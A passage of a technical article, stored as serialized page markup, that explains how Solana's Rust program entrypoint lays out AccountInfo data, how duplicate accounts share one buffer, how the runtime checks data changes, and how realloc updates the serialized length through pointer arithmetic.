padding\n",[15018],{"type":23,"tag":209,"props":15019,"children":15020},{"__ignoreMap":7},[15021,15037,15117,15148,15155,15200,15245,15253,15277],{"type":23,"tag":213,"props":15022,"children":15023},{"class":215,"line":216},[15024,15029,15033],{"type":23,"tag":213,"props":15025,"children":15026},{"style":220},[15027],{"type":28,"value":15028},"#[allow(clippy",{"type":23,"tag":213,"props":15030,"children":15031},{"style":274},[15032],{"type":28,"value":562},{"type":23,"tag":213,"props":15034,"children":15035},{"style":220},[15036],{"type":28,"value":567},{"type":23,"tag":213,"props":15038,"children":15039},{"class":215,"line":226},[15040,15044,15049,15053,15057,15061,15065,15069,15073,15077,15081,15085,15089,15093,15097,15101,15105,15109,15113],{"type":23,"tag":213,"props":15041,"children":15042},{"style":230},[15043],{"type":28,"value":11871},{"type":23,"tag":213,"props":15045,"children":15046},{"style":268},[15047],{"type":28,"value":15048}," data_len",{"type":23,"tag":213,"props":15050,"children":15051},{"style":274},[15052],{"type":28,"value":511},{"type":23,"tag":213,"props":15054,"children":15055},{"style":274},[15056],{"type":28,"value":282},{"type":23,"tag":213,"props":15058,"children":15059},{"style":220},[15060],{"type":28,"value":265},{"type":23,"tag":213,"props":15062,"children":15063},{"style":268},[15064],{"type":28,"value":271},{"type":23,"tag":213,"props":15066,"children":15067},{"style":274},[15068],{"type":28,"value":124},{"type":23,"tag":213,"props":15070,"children":15071},{"style":257},[15072],{"type":28,"value":605},{"type":23,"tag":213,"props":15074,"children":15075},{"style":220},[15076],{"type":28,"value":265},{"type":23,"tag":213,"props":15078,"children":15079},{"style":268},[15080],{"type":28,"value":614},{"type":23,"tag":213,"props":15082,"children":15083},{"style":220},[15084],{"type":28,"value":298},{"type":23,"tag":213,"props":15086,"children":15087},{"style":230},[15088],{"type":28,"value":623},{"type":23,"tag":213,"props":15090,"children":15091},{"style":274},[15092],{"type":28,"value":282},{"type":23,"tag":213,"props":15094,"children":15095},{"style":230},[15096],{"type":28,"value":632},{"type":23,"tag":213,"props":15098,"children":15099},{"style":290},[15100],{"type":28,"value":308},{"type":23,"tag":213,"props":15102,"children":15103},{"style":220},[15104],{"type":28,"value":298},{"type":23,"tag":213,"props":15106,"children":15107},{"style":230},[15108],{"type":28,"value":623},{"type":23,"tag":213,"props":15110,"children":15111},{"style":290},[15112],{"type":28,"value":506},{"type":23,"tag":213,"props":15114,"children":15115},{"style":220},[15116],{"type":28,"value":313},{"type":23,"tag":213,"props":15118,"children":15119},{"class":215,"line":524},[15120,15124,15128,15132,15136,15140,15144],{"type":23,"tag":213,"props":15121,"children":15122},{"style":268},[15123],{"type":28,"value":614},{"type":23,"tag":213,"props":15125,"children":15126},{"style":274},[15127],{"type":28,"value":666},{"type":23,"tag":213,"props":15129,"children":15130},{"style":257},[15131],{"type":28,"value":671},{"type":23,"tag":213,"props":15133,"children":15134},{"style":274},[15135],{"type":28,"value":562},{"type":23,"tag":213,"props":15137,"children":15138},{"style":220},[15139],{"type":28,"value":434},{"type":23,"tag":213,"props":15141,"children":15142},{"style":290},[15143],{"type":28,"value":684},{"type":23,"tag":213,"props":15145,"children":15146},{"style":220},[15147],{"type":28,"value":689},{"type":23,"tag":213,"props":15149,"children":15150},{"class":215,"line":533},[15151],{"type":23,"tag":213,"props":15152,"children":15153},{"emptyLinePlaceholder":18},[15154],{"type":28,"value":530},{"type":23,"tag":213,"props":15156,"children":15157},{"class":215,"line":543},[15158,15162,15166,15170,15174,15178,15182,15187,15191,15195],{"type":23,"tag":213,"props":15159,"children":15160},{"style":230},[15161],{"type":28,"value":11871},{"type":23,"tag":213,"props":15163,"children":15164},{"style":268},[15165],{"type":28,"value":1064},{"type":23,"tag":213,"props":15167,"children":15168},{"style":274},[15169],{"type":28,"value":511},{"type":23,"tag":213,"props":15171,"children":15172},{"style":290},[15173],{"type":28,"value":1014},{"type":23,"tag":213,"props":15175,"children":15176},{"style":274},[15177],{"type":28,"value":562},{"type":23,"tag":213,"props":15179,"children":15180},{"style":257},[15181],{"type":28,"value":1687},{"type":23,"tag":213,"props":15183,"children":15184},{"style":220},[15185],{"type":28,"value":15186},"(RefCell",{"type":23,"tag":213,"props":15188,"children":15189},{"style":274},[15190],{"type":28,"value":562},{"type":23,"tag":213,"props":15192,"children":15193},{"style":257},[15194],{"type":28,"value":1687},{"type":23,"tag":213,"props":15196,"children":15197},{"style":220},[15198],{"type":28,"value":15199},"({\n",{"type":23,"tag":213,"props":15201,"children":15202},{"class":215,"line":551},[15203,15208,15212,15216,15220,15224,15228,15232,15237,15241],{"type":23,"tag":213,"props":15204,"children":15205},{"style":257},[15206],{"type":28,"value":15207}," from_raw_parts_mut",{"type":23,"tag":213,"props":15209,"children":15210},{"style":220},[15211],{"type":28,"value":265},{"type":23,"tag":213,"props":15213,"children":15214},{"style":268},[15215],{"type":28,"value":271},{"type":23,"tag":213,"props":15217,"children":15218},{"style":274},[15219],{"type":28,"value":124},{"type":23,"tag":213,"props":15221,"children":15222},{"style":257},[15223],{"type":28,"value":605},{"type":23,"tag":213,"props":15225,"children":15226},{"style":220},[15227],{"type":28,"value":265},{"type":23,"tag":213,"props":15229,"children":15230},{"style":268},[15231],{"type":28,"value":614},{"type":23,"tag":213,"props":15233,"children":15234},{"style":220},[15235],{"type":28,"value":15236},"), ",{"type":23,"tag":213,"props":15238,"children":15239},{"style":268},[15240],{"type":28,"value":13882},{"type":23,"tag":213,"props":15242,"children":15243},{"style":220},[15244],{"type":28,"value":2183},{"type":23,"tag":213,"props":15246,"children":15247},{"class":215,"line":570},[15248],{"type":23,"tag":213,"props":15249,"children":15250},{"style":220},[15251],{"type":28,"value":15252},"}));\n",{"type":23,"tag":213,"props":15254,"children":15255},{"class":215,"line":655},[15256,15260,15264,15268,15272],{"type":23,"tag":213,"props":15257,"children":15258},{"style":268},[15259],{"type":28,"value":614},{"type":23,"tag":213,"props":15261,"children":15262},{"style":274},[15263],{"type":28,"value":666},{"type":23,"tag":213,"props":15265,"children":15266},{"style":268},[15267],{"type":28,"value":15048},{"type":23,"tag":213,"props":15269,"children":15270},{"style":274},[15271],{"type":28,"value":8989},{"type":23,"tag":213,"props":15273,"children":15274},{"style":220},[15275],{"type":28,"value":15276}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":23,"tag":213,"props":15278,"children":15279},{"class":215,"line":1176},[15280,15284,15288,15292,15296,15300,15304,15308,15312,15316,15320,15325,15330],{"type":23,"tag":213,"props":15281,"children":15282},{"style":268},[15283],{"type":28,"value":614},{"type":23,"tag":213,"props":15285,"children":15286},{"style":274},[15287],{"type":28,"value":666},{"type":23,"tag":213,"props":15289,"children":15290},{"style":220},[15291],{"type":28,"value":400},{"type":23,"tag":213,"props":15293,"children":15294},{"style":268},[15295],{"type":28,"value":614},{"type":23,"tag":213,"props":15297,"children":15298},{"style":230},[15299],{"type":28,"value":8913},{"type":23,"tag":213,"props":15301,"children":15302},{"style":274},[15303],{"type":28,"value":282},{"type":23,"tag":213,"props":15305,"children":15306},{"style":230},[15307],{"type":28,"value":632},{"type":23,"tag":213,"props":15309,"children":15310},{"style":290},[15311],{"type":28,"value":293},{"type":23,"tag":213,"props":15313,"children":15314},{"style":220},[15315],{"type":28,"value":2121},{"type":23,"tag":213,"props":15317,"children":15318},{"style":274},[15319],{"type":28,"value":124},{"type":23,"tag":213,"props":15321,"children":15322},{"style":257},[15323],{"type":28,"value":15324},"align_offset",{"type":23,"tag":213,"props":15326,"children":15327},{"style":220},[15328],{"type":28,"value":15329},"(BPF_ALIGN_OF_U128); ",{"type":23,"tag":213,"props":15331,"children":15332},{"style":537},[15333],{"type":28,"value":15334},"// padding\n",{"type":23,"tag":24,"props":15336,"children":15337},{},[15338,15340,15345,15347,15353,15355,15366,15368,15373,15375,15381,15383,15389,15391,15397],{"type":28,"value":15339},"In English, we have the length of the data, as a ",{"type":23,"tag":209,"props":15341,"children":15343},{"className":15342},[],[15344],{"type":28,"value":684},{"type":28,"value":15346},", followed immediately by the data, and an additional ",{"type":23,"tag":209,"props":15348,"children":15350},{"className":15349},[],[15351],{"type":28,"value":15352},"MAX_PERMITTED_DATA_INCREASE",{"type":28,"value":15354}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":23,"tag":36,"props":15356,"children":15359},{"href":15357,"rel":15358},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[40],[15360],{"type":23,"tag":209,"props":15361,"children":15363},{"className":15362},[],[15364],{"type":28,"value":15365},"slice::from_raw_parts_mut",{"type":28,"value":15367},") - slices are how Rust represents a, well, ",{"type":23,"tag":87,"props":15369,"children":15370},{},[15371],{"type":28,"value":15372},"slice",{"type":28,"value":15374}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":23,"tag":209,"props":15376,"children":15378},{"className":15377},[],[15379],{"type":28,"value":15380},"Rc\u003CRefCell\u003CT>>",{"type":28,"value":15382},", giving us the unwieldy-looking type of ",{"type":23,"tag":209,"props":15384,"children":15386},{"className":15385},[],[15387],{"type":28,"value":15388},"AccountInfo.data",{"type":28,"value":15390},": ",{"type":23,"tag":209,"props":15392,"children":15394},{"className":15393},[],[15395],{"type":28,"value":15396},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":28,"value":124},{"type":23,"tag":24,"props":15399,"children":15400},{},[15401,15403,15410],{"type":28,"value":15402},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":23,"tag":36,"props":15404,"children":15407},{"href":15405,"rel":15406},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[40],[15408],{"type":28,"value":15409},"cloning the referenced account",{"type":28,"value":277},{"type":23,"tag":202,"props":15412,"children":15414},{"className":206,"code":15413,"language":205,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[15415],{"type":23,"tag":209,"props":15416,"children":15417},{"__ignoreMap":7},[15418,15426],{"type":23,"tag":213,"props":15419,"children":15420},{"class":215,"line":216},[15421],{"type":23,"tag":213,"props":15422,"children":15423},{"style":537},[15424],{"type":28,"value":15425},"// Duplicate account, clone the original\n",{"type":23,"tag":213,"props":15427,"children":15428},{"class":215,"line":226},[15429,15433,15437,15441,15445,15449,15453,15458,15462,15466,15471,15475,15480],{"type":23,"tag":213,"props":15430,"children":15431},{"style":268},[15432],{"type":28,"value":14743},{"type":23,"tag":213,"props":15434,"children":15435},{"style":274},[15436],{"type":28,"value":124},{"type":23,"tag":213,"props":15438,"children":15439},{"style":257},[15440],{"type":28,"value":3902},{"type":23,"tag":213,"props":15442,"children":15443},{"style":220},[15444],{"type":28,"value":265},{"type":23,"tag":213,"props":15446,"children":15447},{"style":268},[15448],{"type":28,"value":14743},{"type":23,"tag":213,"props":15450,"children":15451},{"style":220},[15452],{"type":28,"value":3821},{"type":23,"tag":213,"props":15454,"children":15455},{"style":268},[15456],{"type":28,"value":15457},"dup_info",{"type":23,"tag":213,"props":15459,"children":15460},{"style":230},[15461],{"type":28,"value":8913},{"type":23,"tag":213,"props":15463,"children":15464},{"style":290},[15465],{"type":28,"value":506},{"type":23,"tag":213,"props":15467,"children":15468},{"style":220},[15469],{"type":28,"value":15470},"]",{"type":23,"tag":213,"props":15472,"children":15473},{"style":274},[15474],{"type":28,"value":124},{"type":23,"tag":213,"props":15476,"children":15477},{"style":257},[15478],{"type":28,"value":15479},"clone",{"type":23,"tag":213,"props":15481,"children":15482},{"style":220},[15483],{"type":28,"value":15484},"());\n",{"type":23,"tag":24,"props":15486,"children":15487},{},[15488,15490,15495,15497,15502,15504,15509,15511,15516,15517,15523,15525,15530,15532,15544,15546,15551],{"type":28,"value":15489},"Since ",{"type":23,"tag":209,"props":15491,"children":15493},{"className":15492},[],[15494],{"type":28,"value":3791},{"type":28,"value":15496}," inside the ",{"type":23,"tag":209,"props":15498,"children":15500},{"className":15499},[],[15501],{"type":28,"value":439},{"type":28,"value":15503}," is a ",{"type":23,"tag":209,"props":15505,"children":15507},{"className":15506},[],[15508],{"type":28,"value":15380},{"type":28,"value":15510},", where the ",{"type":23,"tag":209,"props":15512,"children":15514},{"className":15513},[],[15515],{"type":28,"value":6079},{"type":28,"value":15503},{"type":23,"tag":209,"props":15518,"children":15520},{"className":15519},[],[15521],{"type":28,"value":15522},"&mut [u8]",{"type":28,"value":15524}," pointing at the actual data buffer, when we clone the ",{"type":23,"tag":209,"props":15526,"children":15528},{"className":15527},[],[15529],{"type":28,"value":439},{"type":28,"value":15531},", we get a new reference",{"type":23,"tag":15533,"props":15534,"children":15535},"sup",{},[15536],{"type":23,"tag":36,"props":15537,"children":15542},{"href":15538,"ariaDescribedBy":15539,"dataFootnoteRef":7,"id":15541},"#user-content-fn-rc-refs",[15540],"footnote-label","user-content-fnref-rc-refs",[15543],{"type":28,"value":4106},{"type":28,"value":15545}," to the slice pointing at the ",{"type":23,"tag":87,"props":15547,"children":15548},{},[15549],{"type":28,"value":15550},"same",{"type":28,"value":15552}," data buffer.",{"type":23,"tag":24,"props":15554,"children":15555},{},[15556,15558,15563,15565,15570],{"type":28,"value":15557},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":23,"tag":209,"props":15559,"children":15561},{"className":15560},[],[15562],{"type":28,"value":1023},{"type":28,"value":15564}," to check the rules at runtime. (The ",{"type":23,"tag":209,"props":15566,"children":15568},{"className":15567},[],[15569],{"type":28,"value":2033},{"type":28,"value":15571}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":23,"tag":24,"props":15573,"children":15574},{},[15575,15577,15583],{"type":28,"value":15576},"Changing the data of an account is done by simply writing to ",{"type":23,"tag":209,"props":15578,"children":15580},{"className":15579},[],[15581],{"type":28,"value":15582},"AccountInfo::data",{"type":28,"value":15584},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":23,"tag":24,"props":15586,"children":15587},{},[15588,15590,15597],{"type":28,"value":15589},"This is also where the ",{"type":23,"tag":36,"props":15591,"children":15594},{"href":15592,"rel":15593},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[40],[15595],{"type":28,"value":15596},"runtime validity checks",{"type":28,"value":15598}," are imposed.",{"type":23,"tag":202,"props":15600,"children":15602},{"className":206,"code":15601,"language":205,"meta":7,"style":7},"// Only the owner may change account data\n// and if the account is writable\n// and if the account is not executable\nif !(program_id == pre.owner()\n && is_writable // line coverage used to get branch coverage\n && !pre.executable())\n && pre.data() != post.data()\n{\n if pre.executable() {\n return Err(InstructionError::ExecutableDataModified);\n } else if is_writable {\n return Err(InstructionError::ExternalAccountDataModified);\n } else {\n return Err(InstructionError::ReadonlyDataModified);\n }\n}\n",[15603],{"type":23,"tag":209,"props":15604,"children":15605},{"__ignoreMap":7},[15606,15614,15622,15630,15671,15688,15716,15761,15768,15792,15824,15848,15880,15895,15927,15934],{"type":23,"tag":213,"props":15607,"children":15608},{"class":215,"line":216},[15609],{"type":23,"tag":213,"props":15610,"children":15611},{"style":537},[15612],{"type":28,"value":15613},"// Only the owner may change account data\n",{"type":23,"tag":213,"props":15615,"children":15616},{"class":215,"line":226},[15617],{"type":23,"tag":213,"props":15618,"children":15619},{"style":537},[15620],{"type":28,"value":15621},"// and if the account is writable\n",{"type":23,"tag":213,"props":15623,"children":15624},{"class":215,"line":524},[15625],{"type":23,"tag":213,"props":15626,"children":15627},{"style":537},[15628],{"type":28,"value":15629},"// and if the account is not executable\n",{"type":23,"tag":213,"props":15631,"children":15632},{"class":215,"line":533},[15633,15638,15642,15646,15650,15654,15659,15663,15667],{"type":23,"tag":213,"props":15634,"children":15635},{"style":1362},[15636],{"type":28,"value":15637},"if",{"type":23,"tag":213,"props":15639,"children":15640},{"style":274},[15641],{"type":28,"value":2658},{"type":23,"tag":213,"props":15643,"children":15644},{"style":220},[15645],{"type":28,"value":265},{"type":23,"tag":213,"props":15647,"children":15648},{"style":268},[15649],{"type":28,"value":14734},{"type":23,"tag":213,"props":15651,"children":15652},{"style":274},[15653],{"type":28,"value":3379},{"type":23,"tag":213,"props":15655,"children":15656},{"style":268},[15657],{"type":28,"value":15658}," pre",{"type":23,"tag":213,"props":15660,"children":15661},{"style":274},[15662],{"type":28,"value":124},{"type":23,"tag":213,"props":15664,"children":15665},{"style":257},[15666],{"type":28,"value":1883},{"type":23,"tag":213,"props":15668,"children":15669},{"style":220},[15670],{"type":28,"value":7824},{"type":23,"tag":213,"props":15672,"children":15673},{"class":215,"line":543},[15674,15679,15683],{"type":23,"tag":213,"props":15675,"children":15676},{"style":274},[15677],{"type":28,"value":15678}," &&",{"type":23,"tag":213,"props":15680,"children":15681},{"style":268},[15682],{"type":28,"value":981},{"type":23,"tag":213,"props":15684,"children":15685},{"style":537},[15686],{"type":28,"value":15687}," // line coverage used to get branch coverage\n",{"type":23,"tag":213,"props":15689,"children":15690},{"class":215,"line":551},[15691,15695,15699,15703,15707,15711],{"type":23,"tag":213,"props":15692,"children":15693},{"style":274},[15694],{"type":28,"value":15678},{"type":23,"tag":213,"props":15696,"children":15697},{"style":274},[15698],{"type":28,"value":2658},{"type":23,"tag":213,"props":15700,"children":15701},{"style":268},[15702],{"type":28,"value":202},{"type":23,"tag":213,"props":15704,"children":15705},{"style":274},[15706],{"type":28,"value":124},{"type":23,"tag":213,"props":15708,"children":15709},{"style":257},[15710],{"type":28,"value":113},{"type":23,"tag":213,"props":15712,"children":15713},{"style":220},[15714],{"type":28,"value":15715},"())\n",{"type":23,"tag":213,"props":15717,"children":15718},{"class":215,"line":570},[15719,15723,15727,15731,15735,15739,15744,15749,15753,15757],{"type":23,"tag":213,"props":15720,"children":15721},{"style":274},[15722],{"type":28,"value":15678},{"type":23,"tag":213,"props":15724,"children":15725},{"style":268},[15726],{"type":28,"value":15658},{"type":23,"tag":213,"props":15728,"children":15729},{"style":274},[15730],{"type":28,"value":124},{"type":23,"tag":213,"props":15732,"children":15733},{"style":257},[15734],{"type":28,"value":3791},{"type":23,"tag":213,"props":15736,"children":15737},{"style":220},[15738],{"type":28,"value":2698},{"type":23,"tag":213,"props":15740,"children":15741},{"style":274},[15742],{"type":28,"value":15743},"!=",{"type":23,"tag":213,"props":15745,"children":15746},{"style":268},[15747],{"type":28,"value":15748}," post",{"type":23,"tag":213,"props":15750,"children":15751},{"style":274},[15752],{"type":28,"value":124},{"type":23,"tag":213,"props":15754,"children":15755},{"style":257},[15756],{"type":28,"value":3791},{"type":23,"tag":213,"props":15758,"children":15759},{"style":220},[15760],{"type":28,"value":7824},{"type":23,"tag":213,"props":15762,"children":15763},{"class":215,"line":655},[15764],{"type":23,"tag":213,"props":15765,"children":15766},{"style":220},[15767],{"type":28,"value":10964},{"type":23,"tag":213,"props":15769,"children":15770},{"class":215,"line":1176},[15771,15775,15779,15783,15787],{"type":23,"tag":213,"props":15772,"children":15773},{"style":1362},[15774],{"type":28,"value":2653},{"type":23,"tag":213,"props":15776,"children":15777},{"style":268},[15778],{"type":28,"value":15658},{"type":23,"tag":213,"props":15780,"children":15781},{"style":274},[15782],{"type":28,"value":124},{"type":23,"tag":213,"props":15784,"children":15785},{"style":257},[15786],{"type":28,"value":113},{"type":23,"tag":213,"props":15788,"children":15789},{"style":220},[15790],{"type":28,"value":15791},"() {\n",{"type":23,"tag":213,"props":15793,"children":15794},{"class":215,"line":1202},[15795,15799,15803,15807,15811,15815,15820],{"type":23,"tag":213,"props":15796,"children":15797},{"style":1362},[15798],{"type":28,"value":2839},{"type":23,"tag":213,"props":15800,"children":15801},{"style":290},[15802],{"type":28,"value":2844},{"type":23,"tag":213,"props":15804,"children":15805},{"style":220},[15806],{"type":28,"value":265},{"type":23,"tag":213,"props":15808,"children":15809},{"style":290},[15810],{"type":28,"value":2853},{"type":23,"tag":213,"props":15812,"children":15813},{"style":274},[15814],{"type":28,"value":562},{"type":23,"tag":213,"props":15816,"children":15817},{"style":290},[15818],{"type":28,"value":15819},"ExecutableDataModified",{"type":23,"tag":213,"props":15821,"children":15822},{"style":220},[15823],{"type":28,"value":2867},{"type":23,"tag":213,"props":15825,"children":15826},{"class":215,"line":1758},[15827,15831,15835,15840,15844],{"type":23,"tag":213,"props":15828,"children":15829},{"style":220},[15830],{"type":28,"value":1440},{"type":23,"tag":213,"props":15832,"children":15833},{"style":1362},[15834],{"type":28,"value":3412},{"type":23,"tag":213,"props":15836,"children":15837},{"style":1362},[15838],{"type":28,"value":15839}," if",{"type":23,"tag":213,"props":15841,"children":15842},{"style":268},[15843],{"type":28,"value":981},{"type":23,"tag":213,"props":15845,"children":15846},{"style":220},[15847],{"type":28,"value":1375},{"type":23,"tag":213,"props":15849,"children":15850},{"class":215,"line":1767},[15851,15855,15859,15863,15867,15871,15876],{"type":23,"tag":213,"props":15852,"children":15853},{"style":1362},[15854],{"type":28,"value":2839},{"type":23,"tag":213,"props":15856,"children":15857},{"style":290},[15858],{"type":28,"value":2844},{"type":23,"tag":213,"props":15860,"children":15861},{"style":220},[15862],{"type":28,"value":265},{"type":23,"tag":213,"props":15864,"children":15865},{"style":290},[15866],{"type":28,"value":2853},{"type":23,"tag":213,"props":15868,"children":15869},{"style":274},[15870],{"type":28,"value":562},{"type":23,"tag":213,"props":15872,"children":15873},{"style":290},[15874],{"type":28,"value":15875},"ExternalAccountDataModified",{"type":23,"tag":213,"props":15877,"children":15878},{"style":220},[15879],{"type":28,"value":2867},{"type":23,"tag":213,"props":15881,"children":15882},{"class":215,"line":1789},[15883,15887,15891],{"type":23,"tag":213,"props":15884,"children":15885},{"style":220},[15886],{"type":28,"value":1440},{"type":23,"tag":213,"props":15888,"children":15889},{"style":1362},[15890],{"type":28,"value":3412},{"type":23,"tag":213,"props":15892,"children":15893},{"style":220},[15894],{"type":28,"value":1375},{"type":23,"tag":213,"props":15896,"children":15897},{"class":215,"line":1812},[15898,15902,15906,15910,15914,15918,15923],{"type":23,"tag":213,"props":15899,"children":15900},{"style":1362},[15901],{"type":28,"value":2839},{"type":23,"tag":213,"props":15903,"children":15904},{"style":290},[15905],{"type":28,"value":2844},{"type":23,"tag":213,"props":15907,"children":15908},{"style":220},[15909],{"type":28,"value":265},{"type":23,"tag":213,"props":15911,"children":15912},{"style":290},[15913],{"type":28,"value":2853},{"type":23,"tag":213,"props":15915,"children":15916},{"style":274},[15917],{"type":28,"value":562},{"type":23,"tag":213,"props":15919,"children":15920},{"style":290},[15921],{"type":28,"value":15922},"ReadonlyDataModified",{"type":23,"tag":213,"props":15924,"children":15925},{"style":220},[15926],{"type":28,"value":2867},{"type":23,"tag":213,"props":15928,"children":15929},{"class":215,"line":1838},[15930],{"type":23,"tag":213,"props":15931,"children":15932},{"style":220},[15933],{"type":28,"value":2875},{"type":23,"tag":213,"props":15935,"children":15936},{"class":215,"line":1851},[15937],{"type":23,"tag":213,"props":15938,"children":15939},{"style":220},[15940],{"type":28,"value":1208},{"type":23,"tag":9693,"props":15942,"children":15944},{"id":15943},"back-to-realloc",[15945,15947],{"type":28,"value":15946},"Back to ",{"type":23,"tag":209,"props":15948,"children":15950},{"className":15949},[],[15951],{"type":28,"value":13718},{"type":23,"tag":24,"props":15953,"children":15954},{},[15955],{"type":28,"value":15956},"As a reminder, this is what we were looking at before that detour:",{"type":23,"tag":202,"props":15958,"children":15959},{"className":206,"code":14465,"language":205,"meta":7,"style":7},[15960],{"type":23,"tag":209,"props":15961,"children":15962},{"__ignoreMap":7},[15963,15970,16057],{"type":23,"tag":213,"props":15964,"children":15965},{"class":215,"line":216},[15966],{"type":23,"tag":213,"props":15967,"children":15968},{"style":537},[15969],{"type":28,"value":14477},{"type":23,"tag":213,"props":15971,"children":15972},{"class":215,"line":226},[15973,15977,15981,15985,15989,15993,15997,16001,16005,16009,16013,16017,16021,16025,16029,16033,16037,16041,16045,16049,16053],{"type":23,"tag":213,"props":15974,"children":15975},{"style":230},[15976],{"type":28,"value":11871},{"type":23,"tag":213,"props":15978,"children":15979},{"style":268},[15980],{"type":28,"value":13933},{"type":23,"tag":213,"props":15982,"children":15983},{"style":274},[15984],{"type":28,"value":511},{"type":23,"tag":213,"props":15986,"children":15987},{"style":230},[15988],{"type":28,"value":13873},{"type":23,"tag":213,"props":15990,"children":15991},{"style":274},[15992],{"type":28,"value":124},{"type":23,"tag":213,"props":15994,"children":15995},{"style":257},[15996],{"type":28,"value":13950},{"type":23,"tag":213,"props":15998,"children":15999},{"style":220},[16000],{"type":28,"value":13955},{"type":23,"tag":213,"props":16002,"children":16003},{"style":274},[16004],{"type":28,"value":3230},{"type":23,"tag":213,"props":16006,"children":16007},{"style":257},[16008],{"type":28,"value":13964},{"type":23,"tag":213,"props":16010,"children":16011},{"style":220},[16012],{"type":28,"value":13955},{"type":23,"tag":213,"props":16014,"children":16015},{"style":274},[16016],{"type":28,"value":124},{"type":23,"tag":213,"props":16018,"children":16019},{"style":257},[16020],{"type":28,"value":614},{"type":23,"tag":213,"props":16022,"children":16023},{"style":220},[16024],{"type":28,"value":265},{"type":23,"tag":213,"props":16026,"children":16027},{"style":274},[16028],{"type":28,"value":4423},{"type":23,"tag":213,"props":16030,"children":16031},{"style":514},[16032],{"type":28,"value":4170},{"type":23,"tag":213,"props":16034,"children":16035},{"style":220},[16036],{"type":28,"value":298},{"type":23,"tag":213,"props":16038,"children":16039},{"style":230},[16040],{"type":28,"value":623},{"type":23,"tag":213,"props":16042,"children":16043},{"style":274},[16044],{"type":28,"value":282},{"type":23,"tag":213,"props":16046,"children":16047},{"style":230},[16048],{"type":28,"value":287},{"type":23,"tag":213,"props":16050,"children":16051},{"style":290},[16052],{"type":28,"value":308},{"type":23,"tag":213,"props":16054,"children":16055},{"style":220},[16056],{"type":28,"value":313},{"type":23,"tag":213,"props":16058,"children":16059},{"class":215,"line":524},[16060,16064,16068,16072,16076,16080,16084],{"type":23,"tag":213,"props":16061,"children":16062},{"style":274},[16063],{"type":28,"value":1696},{"type":23,"tag":213,"props":16065,"children":16066},{"style":268},[16067],{"type":28,"value":14024},{"type":23,"tag":213,"props":16069,"children":16070},{"style":274},[16071],{"type":28,"value":511},{"type":23,"tag":213,"props":16073,"children":16074},{"style":268},[16075],{"type":28,"value":14033},{"type":23,"tag":213,"props":16077,"children":16078},{"style":230},[16079],{"type":28,"value":8913},{"type":23,"tag":213,"props":16081,"children":16082},{"style":290},[16083],{"type":28,"value":308},{"type":23,"tag":213,"props":16085,"children":16086},{"style":220},[16087],{"type":28,"value":313},{"type":23,"tag":24,"props":16089,"children":16090},{},[16091,16096,16098,16103,16105,16110,16112,16123,16125,16130,16132,16137],{"type":23,"tag":209,"props":16092,"children":16094},{"className":16093},[],[16095],{"type":28,"value":13950},{"type":28,"value":16097}," gives us the ",{"type":23,"tag":209,"props":16099,"children":16101},{"className":16100},[],[16102],{"type":28,"value":15522},{"type":28,"value":16104}," from the ",{"type":23,"tag":209,"props":16106,"children":16108},{"className":16107},[],[16109],{"type":28,"value":15396},{"type":28,"value":16111},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":23,"tag":36,"props":16113,"children":16116},{"href":16114,"rel":16115},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[40],[16117],{"type":23,"tag":209,"props":16118,"children":16120},{"className":16119},[],[16121],{"type":28,"value":16122},"slice::as_mut_ptr()",{"type":28,"value":16124}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":23,"tag":209,"props":16126,"children":16128},{"className":16127},[],[16129],{"type":28,"value":684},{"type":28,"value":16131}," - behind the data buffer), and then writes ",{"type":23,"tag":209,"props":16133,"children":16135},{"className":16134},[],[16136],{"type":28,"value":13800},{"type":28,"value":16138}," to it.",{"type":23,"tag":24,"props":16140,"children":16141},{},[16142,16144,16156,16158,16164],{"type":28,"value":16143},"This is reasonable... ",{"type":23,"tag":87,"props":16145,"children":16146},{},[16147,16149,16154],{"type":28,"value":16148},"as long as the ",{"type":23,"tag":209,"props":16150,"children":16152},{"className":16151},[],[16153],{"type":28,"value":3791},{"type":28,"value":16155}," actually came from the serialized buffer",{"type":28,"value":16157},". We'll come back to this ",{"type":23,"tag":36,"props":16159,"children":16161},{"href":16160},"#Not-contracts",[16162],{"type":28,"value":16163},"later",{"type":28,"value":124},{"type":23,"tag":24,"props":16166,"children":16167},{},[16168,16170,16175],{"type":28,"value":16169},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":23,"tag":209,"props":16171,"children":16173},{"className":16172},[],[16174],{"type":28,"value":15522},{"type":28,"value":16176}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":23,"tag":202,"props":16178,"children":16180},{"className":206,"code":16179,"language":205,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[16181],{"type":23,"tag":209,"props":16182,"children":16183},{"__ignoreMap":7},[16184,16192,16319],{"type":23,"tag":213,"props":16185,"children":16186},{"class":215,"line":216},[16187],{"type":23,"tag":213,"props":16188,"children":16189},{"style":537},[16190],{"type":28,"value":16191},"// Then set the new length in the local 